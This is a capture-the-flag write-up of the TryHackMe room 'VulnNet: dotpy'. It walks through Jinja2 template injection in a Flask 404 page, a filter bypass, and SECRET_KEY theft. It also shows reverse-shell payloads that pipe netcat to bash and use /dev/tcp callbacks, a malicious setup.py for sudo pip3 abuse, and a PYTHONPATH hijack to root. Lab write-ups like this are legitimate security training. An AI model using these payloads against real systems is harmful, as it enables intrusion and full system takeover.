Machine Information
| Field | Details |
|---|---|
| Platform | TryHackMe |
| Room | VulnNet: dotpy |
| Difficulty | Medium |
| OS | Linux |
| Web Stack | Python / Flask (Werkzeug 1.0.1) |
Reconnaissance
Port Scan
nmap -sCV -A MACHINE-IP -oA output
Only one port open:
8080/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
The web app redirects to /login and is confirmed to be a Flask application running under Werkzeug.
Directory Enumeration
dirsearch -u http://MACHINE-IP:8080/ -x 403,404
Findings:
| Path | Status | Notes |
|---|---|---|
/login |
200 | Login form |
/register |
200 | Registration form |
/shutdown |
200 | 23 bytes — Werkzeug debug endpoint |
Initial Access — SSTI to RCE
Step 1: Register & Login
Registered a test account at /register and authenticated. The post-login dashboard is a Staradmin template with no immediately obvious injection points.
Step 2: SSTI Discovery
Navigating to http://dotpy.thm:8080/env returns a styled 404 page that echoes the URL path back into the body:
No results for env
Injecting {{7*7}} in the path:
http://dotpy.thm:8080/{{7*7}}
Returns:
No results for 49
SSTI confirmed. The source code traceback (visible via Werkzeug debug mode) confirms the path is passed into render_template_string() on TemplateNotFound.
Step 3: Config Dump via {{config}}
http://dotpy.thm:8080/{{config}}
The 404 body leaks the full Flask config, including:
'SECRET_KEY': 'S3cr3t_K#Key'
This allows forging session cookies with flask-unsign:
flask-unsign --decode --cookie '<session_cookie>'
flask-unsign --sign --cookie "{'_fresh': True, ...}" --secret 'S3cr3t_K#Key'
Although a forged admin cookie was generated, it yielded no additional access surface — the real prize was RCE.
Step 4: WAF / Filter Bypass
The application blocks certain characters in the URL path:
| Blocked | Reason |
|---|---|
. (dot) |
Prevents attribute access |
_ (underscore) |
Prevents dunder access |
[ ]
|
Prevents subscript access |
\ |
Converted to / server-side |
The pipe | operator (Jinja2 filter chaining) is not blocked.
Initial attempt using hex encoding (\x5f) for underscores failed because the server converts backslashes to forward slashes.
Working bypass — using %c format string to synthesize underscores at runtime, combined with attr() for attribute access:
{{lipsum|attr("%25c"|format(95)~"%25c"|format(95)~"globals"~"%25c"|format(95)~"%25c"|format(95))|attr(...)("os")|attr("popen")("id")|attr("read")()}}
Output: uid=1001(web) gid=1001(web) groups=1001(web) — RCE confirmed as web.
Step 5: Reverse Shell
Since / in commands is blocked, standard reverse shell payloads fail. Two bypasses were chained:
Bypass 1 — IP as decimal integer (no dots):
printf '%d\n' $(printf '0x%02x%02x%02x%02x\n' 192 168 236 96)
# Result: YOUR-IP-DECIMAL
Bypass 2 — Pipe netcat output directly to bash (no file write, no slashes in path):
nc YOUR-IP-DECIMAL 8001 | bash
Attack setup:
Terminal 1 (serve shell payload):
nc -lvnp 8001 < shell.sh
shell.sh:
bash -i >& /dev/tcp/YOUR-IP/4444 0>&1
Terminal 2 (catch shell):
nc -lvnp 4444
Final SSTI payload delivered via URL:
{{(lipsum,)|map(**{"at"+"tribute":("%c%cglobals%c%c"|format(95,95,95,95))})|list|first|attr("get")("os")|attr("popen")("nc YOUR-IP-DECIMAL 8001|bash")|attr("read")()}}
Shell received as web.
Privilege Escalation
web → system-adm (Malicious pip3 Package)
sudo -l
# (system-adm) NOPASSWD: /usr/bin/pip3 install *
web can run pip3 install as system-adm without a password.
Created a malicious Python package in /tmp/evil/:
# setup.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR-IP",4443))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")
Started a listener then triggered the install:
sudo -u system-adm /usr/bin/pip3 install .
Shell received as system-adm. User flag retrieved:
THM{REDACTED}
system-adm → root (PYTHONPATH Hijack)
sudo -l
# (ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py
system-adm can run backup.py as any user with SETENV — meaning environment variables like PYTHONPATH can be set.
Inspecting /opt/backup.py:
from datetime import datetime
from pathlib import Path
import zipfile # <-- imported module
The script imports the standard library module zipfile. By placing a malicious zipfile.py in /home/system-adm and prepending that directory to PYTHONPATH, Python will load the malicious module instead:
cat > /home/system-adm/zipfile.py << 'EOF'
import os
os.system("/bin/bash")
EOF
Triggered with:
sudo PYTHONPATH=/home/system-adm /usr/bin/python3 /opt/backup.py
Spawned a root shell. Root flag retrieved:
THM{REDACTED}
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port scanning |
| dirsearch | Directory enumeration |
| flask-unsign | Flask session cookie decode/forge |
| netcat | Reverse shell delivery and catching |
| PayloadsAllTheThings | SSTI Jinja2 bypass reference |
Key Vulnerabilities
| Vulnerability | Location | Impact |
|---|---|---|
| Server-Side Template Injection (SSTI) | URL path reflected into render_template_string
|
RCE as web
|
| Flask SECRET_KEY disclosure via SSTI |
{{config}} payload |
Session forgery |
| Sudo pip3 install abuse | web → system-adm |
Lateral movement |
PYTHONPATH hijack via zipfile.py
|
system-adm → root |
Full privilege escalation |
Attack Chain
[Recon: nmap + dirsearch]
|
[Register + Login → Dashboard]
|
[SSTI Discovery: {{7*7}} → 49 in 404 body]
|
[{{config}} → SECRET_KEY: S3cr3t_K#Key]
|
[Character Filter Bypass (. _ [ ])]
|
[SSTI RCE via lipsum + %c format + attr chaining]
|
[Reverse Shell → web]
|
[sudo pip3 install → malicious setup.py → system-adm]
|
[PYTHONPATH hijack → zipfile.py → root]
Key Takeaways
- SSTI in Flask's render_template_string is critical — even indirect injection via a 404 handler is fully exploitable.
-
Character-based WAFs are bypassable — Jinja2's
|attr(),%cformat tricks, and filter chaining can reconstruct blocked characters at template evaluation time. - IP decimal notation bypasses dot-blocked command environments without needing encoding.
-
SETENVin sudo rules is dangerous — allowing the invoker to set environment variables likePYTHONPATHeffectively grants arbitrary code execution at the target privilege level. -
pip3 as sudo is an instant privilege escalation path — any writable directory can host a malicious
setup.py.
Top comments (0)